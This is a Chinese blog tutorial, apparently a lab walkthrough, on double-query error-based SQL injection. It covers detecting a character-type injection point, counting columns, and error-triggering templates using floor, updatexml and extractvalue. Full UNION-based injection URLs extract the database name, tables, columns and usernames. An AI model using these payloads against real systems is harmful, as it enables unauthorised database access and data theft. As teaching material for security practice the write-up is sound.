标签:数据库 form 长度 需要 查询 数据库名 tables format value
考查点:双查询报错注入
1.先判断注入类型
(1)首先看到要求,要求传一个ID参数,并且要求是数字型的;?id=1
(2)再输入?id=1‘
显示报错,报错多了一个单引号
(3)再输入?id=1‘‘
判断是字符型注入
2.对列数进行判断
(1)输入?id=1‘ order by 3 --+
(2)输入?id=1‘ order by 4 --+
判断是3列
3.因为页面正常的时候,均无输出部分,判断应该没有显示位,此时可尝试报错注入。
4.常用的报错语句模板:
(1)通过floor报错
①and (select 1 from (select count(),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)
②其中payload为你要插入的SQL语句
③需要注意的是该语句将 输出长度限制在64个字符
(2)通过updatexml报错
①and updatexml(1,payload,1)
②同样盖语句对输出的字符长度也做了限制,其最长输出32位
③并且该语句对payload的返回类型也做了 限制
(3)通过extractvalue 报错
①and extractvalue(1,payload)
②输出字符有长度限制,最长32位
5.我们用floor进行注入
(1)注当前的数据库名:?id=-1‘ union select 1,count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x; --+
(2)爆注册表:?id=-1‘ union select 1,count(*),concat((select table_name from information_schema.tables where table_schema="security" limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+
(3)注某张表的字段,这里以users为例:?id=-1‘ union select 1,count(*),concat((select column_name from information_schema.columns where table_name=‘users‘ limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+
(4)注字段的值,这里以users表里的username为例:?id=-1‘ union select 1,count(*),concat((select username from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x; --+
标签:数据库 form 长度 需要 查询 数据库名 tables format value
原文地址:https://www.cnblogs.com/meng-yu37/p/12079340.html